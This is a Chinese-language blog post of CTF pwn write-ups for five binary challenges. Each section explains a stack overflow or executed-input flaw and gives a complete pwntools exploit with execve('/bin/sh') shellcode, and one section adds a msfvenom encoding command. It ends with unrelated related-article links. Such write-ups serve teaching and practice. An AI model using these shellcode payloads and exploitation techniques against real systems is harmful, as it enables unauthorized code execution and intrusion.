pwn入门系列习题解析(二)

第一题--BITSCTF 2017-Command_Line

查看文件格式以及开启的保护措施,此处全保护均未开启(默认开启ASLR),且为64位ELF。

尝试运行,发现打印出一处地址(基本不用考虑ASLR了),猜测为栈某处地址

放入ida观察逻辑,发现的确打印了栈上的一个地址,可以直接用。此处可以顺便探测一下偏移,0x10+8=0x18,输入0x18个字符后即可覆盖ret。只要注意shellcode位于泄露的栈地址后的0x20处(0x18+8=0x20)。至于shellcode直接从网上找就可以了,一个不行多试试别的(我第一个不行,换了一个就好了)。

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3
 4 from pwn import *
 5 io = process(‘./pwn1‘)
 6
 7 shellcode = ‘\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05‘
 8
 9 shellcode_address_at_stack = int(io.recv()[:-1], 16)+0x20
10 log.info("Leak stack address = %x", shellcode_address_at_stack)
11
12 payload = "\x90"*24
13 payload += p64(shellcode_address_at_stack)
14 payload += shellcode
15 io.sendline(payload)
16 io.interactive()

第二题—BSides San Francisco CTF 2017-b_64_b_tuff

查看文件格式和保护,发现32位ELF文件,开了NX保护,即数据段不可执行。

尝试运行,发现打印出了栈顶的地址,其次会要求我们输入,我们看到他会计算我们输入的字符个数,接着会发现一个貌似是base64的加密(特征“==”结尾)。且发生栈溢出。

我们放入ida观察程序逻辑。重点关注后4个语句。首先将输入的字符串进行base64加密,然后打印出加密的base64码,接着会运行他。那么现在目的明确,我们需要输入一串字符串,满足base64加密后为可执行的shellcode即可。

这里推荐msfvenom工具

首先,我们需要一个编码器,只需要大小写都满足的混合代码就可以,用msfvenom -l encoders来查看编码器。

编码器还是很多的,我们就选择x86/alpha_mixed就行。

由于msfvenom的输入只能从stdin读取,因此我们用管道符通过python输入给他

python -c ‘import sys; sys.stdout.write("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")‘ | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux -o payload

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3
 4 from pwn import *
 5 from base64 import *
 6
 7 io = process(‘./b-64-b-tuff‘)
 8
 9 shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
10
11 print io.recv()
12 io.send(shellcode)
13 print io.recv()
14 io.interactive()

第三题--CSAW Quals CTF 2017-pilot

查看文件格式和开启保护情况,全保护未开启,64位ELF,考虑执行shellcode

观察程序执行情况,比较有用的信息是打印出的一个地址,别的好像都是废话。

我们把它放入ida观察一下逻辑

这么多std库的调用,应该是c++的代码,我们忽略掉多余信息,关注read函数,发现他向buf数组中输入了0x40个字符,而buf位于rbp-0x20处,这里明显存在栈溢出。

那么我们现在的思路就是溢出ret制造栈溢出。

但是我这里直接正常溢出覆盖返回值执行shellcode会出错,我在main函数返回时的ret下断点,跟进调试

我们发现,当执行完push rbx后,函数返回值会被覆盖掉,我们接着执行

上图是push rdi执行后,原本的shellcode最后一行也被替换掉了,由于我们暂时找不到比较短的shellcode,  因此我们需要对shellcode进行截断改造。

我们通过之前的调试可以发现,执行完push rdi后会破坏ret之前共24个字节(3*8)的栈空间数据。再则,我们read可控的输入为0x40,buf到rbp的距离为0x20,因此ret后的栈空间还有0x60-0x20-8-8=0x10,即16字节数据可控。而通过打开ida显示字节码的功能后,可以看出push rdi后shellcode还剩下8字节未执行,ret后的栈空间足够我们控制。

我们使用上述jmp跳转指令,可以看到它的字节码为EB 05(注意jmp跳转的距离是从该语句的下一条语句地址算,因此为0x34-0x2f=0x05)。这里注意到我们前面可以输入的shellcode未被覆盖部分为前24个字节,又考虑到需要留给jmp跳转语句两个字节(EB 18)

我们只要先传22字节的shellcode,再传2字节的EB 18进行跳转,再接上剩下8字节的shellcode,即可得到shell。

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3
 4 from pwn import *
 5
 6 io = process(‘./pilot‘)
 7
 8 shellcode1 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50"
 9 shellcode1 += "\xeb\x18"
10 shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
11 print io.recvuntil("Location:")
12 shellcode_address_at_stack = int(io.recv()[0:14], 16)
13 log.info("Leak stack address = %x", shellcode_address_at_stack)
14
15 payload = ""
16 payload += shellcode1
17 payload += "\x90"*(0x28-len(shellcode1))
18 payload += p64(shellcode_address_at_stack)
19 payload += shellcode2
20
21 io.send(payload)
22 io.interactive()

第四题--Openctf 2016-apprentice_www

老规矩,查看文件格式和保护开启情况,可以看到开启了NX保护,为32位程序。

尝试运行程序,发现程序要求我们输入,输入后提示栈溢出且把我们的输入当作命令执行(怀疑),感觉可以利用

扔入ida分析一波,发现main函数很简单,刷新缓冲区和alarm简单的反调试,主要关注一下setup函数和butterflyswag函数。

我们发现在setup中调用了mprotect函数设置内存页属性,相当于设置了.bss,.data和.text可读可写可执行。接着进入下一个函数观察,发现有两个输入,第一个输入v1是一个单字节变量,第二个输入v2为一个地址,它会将v1的值写入我们输入的地址处,将地址的最低位给替换掉,由于只能修改一个字节,导致我们不能get shell,我们需要想办法通过一个字节的修改来扩大可控范围。

我们的想法是通过覆盖0x080485db处的jnz语句,使得其跳转回头继续执行两次scanf。

这里需要注意一下,由于我们只能修改最后一个字节,因此此处通过计算得到(0x9d-0xdb=0xffc2),此处计算出为负值可以直接使用。注意我们在这里修改后每次执行到这里都会返回前两个scanf,我们可以借这个条件完成所有shellcode的输入(分次输入)。这里我们可以选择for循环,限制条件为shellcode长度。记住for循环执行完后我们需要将跳转语句修改为shellcode所在地址,然后过滤掉所有多余字符串即可开启shell。

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3
 4 from pwn import *
 5
 6 io = process(‘./apprentice_www‘)
 7
 8 patch_jne_address = 0x080485da        #jnz loc_80485E9所在地址
 9 shellcode_address = 0x080485db        #shellcode放置的地址
10
11 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
12
13 io.sendline(str(patch_jne_address))
14 io.sendline(str(0xc2))                #将jnz loc_80485E9改成jnz loc_804859D,重复执行两个call __isoc99_scanf读取shellcode
15
16 for i in xrange(len(shellcode)):            #逐字节写入shellcode到jnz loc_80485E9指令后面
17     io.sendline(str(shellcode_address+i))
18     io.sendline(str(ord(shellcode[i])))
19
20 io.sendline(str(patch_jne_address))
21 io.sendline(str(0x00))                #写完shellcode后改为jnz loc_80485DB,执行shellcode
22
23 io.recv()
24 io.interactive()

第五题--Openctf 2016-tyro_shellcode1

老方法走一遭,发现这次保护开的比较多啊,从保护上看貌似不能执行shellcode而且开了canary保护,栈溢出也被限制了。

放入ida瞧一瞧,从逻辑上瞧一瞧。发现mmap一个内存块,然后read输入也在这块内存块上,下面竟然把我们的输入直接执行了,这下简单了,只需要输入shellcode就拿到shell

这里有个注意点,read调用的输入函数,我们在交互的时候可以直接使用send,而不需要sendline,这样可以省下一个字节的空间,对于有些对栈空间要求严格题目可能有奇效。

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3
 4 from pwn import *
 5
 6 io = process(‘./tyro_shellcode1‘)
 7
 8 shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
 9
10 io.sendline(shellcode)
11 io.interactive()

原文地址:https://www.cnblogs.com/xingzherufeng/p/9839281.html

时间: 2024-08-21 02:46:25

pwn入门系列习题解析(二)的相关文章

Provisioning Services 7.8 入门系列教程之二 基础环境安装

续Provisioning Services 7.8 入门系列教程之一 部署学习环境介绍 一.建立Windows Server 2012 R2虚拟机母盘. 1.在Hyper-V首先建立一台虚拟机,安装Windows Server 2012 R2,并进行相关设置后,关闭计算机. 2.设置上面所建立的虚拟机的虚拟磁盘的文件属性为"只读",作为以后建立相同操作系统虚拟机的母盘. 二.基础环境安装 计算机名:DDC(取这个名称是为了满足Citrix许可服务器安装的需要,因为笔者从CitRix网

Python入门系列教程(二)

字符串 1.字符串输出 name = 'xiaoming' print("姓名:%s"%name) 2.字符串输入 userName = raw_input('请输入用户名:') print("用户名为:%s"%userName) password = raw_input('请输入密码:') print("密码为:%s"%password) 3.常用的格式符号 格式符号 转换 %c 字符 %s 通过str() 字符串转换来格式化 %i 有符号十进

Metasploit入门系列(九)——Meterpreter(二)

不好意思,今天是严谨的纯技术板块!各位可用于快速备查. 前段可略过,请看到最后. 本文档编辑时间:2018年11月27日 目录 全部命令(之所以选用英文,才不是因为网上找不到最新完整的中文介绍,原汁原味) 常用命令(这也算对纯英文命令集做了一个良好的补充) Core Commands ============= ? - Help menu background - Backgrounds the current session bgkill - Kills a background meterp

《鸡啄米C++编程入门系列》系列技术文章整理收藏

<鸡啄米C++编程入门系列>系列技术文章整理收藏 收藏整理鸡啄米C++编程入门系列文章,供个人和网友学习C++时参考 1鸡啄米:C++编程入门系列之前言 2鸡啄米:C++编程入门系列之一(进制数) 3鸡啄米:C++编程入门系列之二(原码.反码与补码) 4鸡啄米:C++编程入门系列之三(VS2010的使用介绍) 5鸡啄米:C++编程入门系列之四(数据类型) 6鸡啄米:C++编程入门系列之五(运算符和表达式) 7鸡啄米:C++编程入门系列之六(算法的基本控制结构之选择结构) 8鸡啄米:C++编程入

Provisioning Services 7.8 入门系列教程之三 安装并配置 Provisioning Services

续Provisioning Services 7.8 入门系列教程之二 基础环境安装续 Provisioning Services 解决方案 Provisioning Services 流技术推送技术允许从单个共享磁盘映像实时地置备或重新置备计算机. 在这一过程中,管理员完全无需管理和修补各个系统, 所有映像管理均在主映像上完成. 每个系统的本地硬盘可以用来实现运行时数据缓存,在某些情况下,还可以完全从系统中移除,从而降低电力消耗.系统故障率和安全风险.Provisioning Services

Provisioning Services 7.8 入门系列教程14篇全部完成了.....

经过近期一段时间的努力,Provisioning Services 7.8 入门系列教程14篇全部完成了-- Provisioning Services 7.8 入门系列教程之十四 UEFI支持和BOOTPTAB 编辑器 2016-05-14 Provisioning Services 7.8 入门系列教程之十三 使用 Boot Device Management(BDM)2016-05-13 Provisioning Services 7.8 入门系列教程之十二 实现高可用性 2016-05-

Maven入门系列(二)--设置中央仓库的方法

原文地址:http://www.codeweblog.com/maven入门系列-二-设置中央仓库的方法/ Maven仓库放在我的文档里好吗?当然不好,重装一次电脑,意味着一切jar都要重新下载和发布. 下载的地址是中央仓库mvnrepository.com,当然,全球很多个仓库. 资源的坐标简称GVA 那么,现在如何修改maven的本地仓库路径呢? 关键在于maven文件夹的config下的settings.xml(E:\IDE\apache-maven-3.3.1\conf\settings

IBM规则引擎(ODM)入门系列二:Rule Execution Server(RES)服务安装

今天开始了ODM入门系列之二,在这个系列中我会讲讲规则执行服务的搭建安装,规则集的打包发布以及如何将部署之后的规则集发布为web服务,供其他服务或应用使用. 首先,我们先看一幅图: 这是我画的一张ODM各组件之间关系,其中WEB APP是我们自己的项目或应用,可以通过web服务的形式来调用RES上已经部署的RuleApp包来执行规则. 再来看一张图: (截屏自IBM官网) 这是IBM官网上的一张介绍ODM不同组件如何交互的一张图. 从这两张图都可以看出RES在ODM整个产品中都起着一个非常重要的

Sharepoint学习笔记—习题系列--70-576习题解析 --索引目录

    Sharepoint学习笔记—习题系列--70-576习题解析  为便于查阅,这里整理并列出了70-576习题解析系列的所有问题,有些内容可能会在以后更新. 需要事先申明的是:     1. 不要把本系列当成Sharepoint 70-576的应试题库. 2.  Sharepoint学习 不是以考证为目的,真正的掌握是要通过大量实践来达到. 3.  通过做练习,可 以帮助我们加深对Sharepoint相关知识点的认知与掌握,不失为一个复习与整理Sharepoint知识的好方法. 4.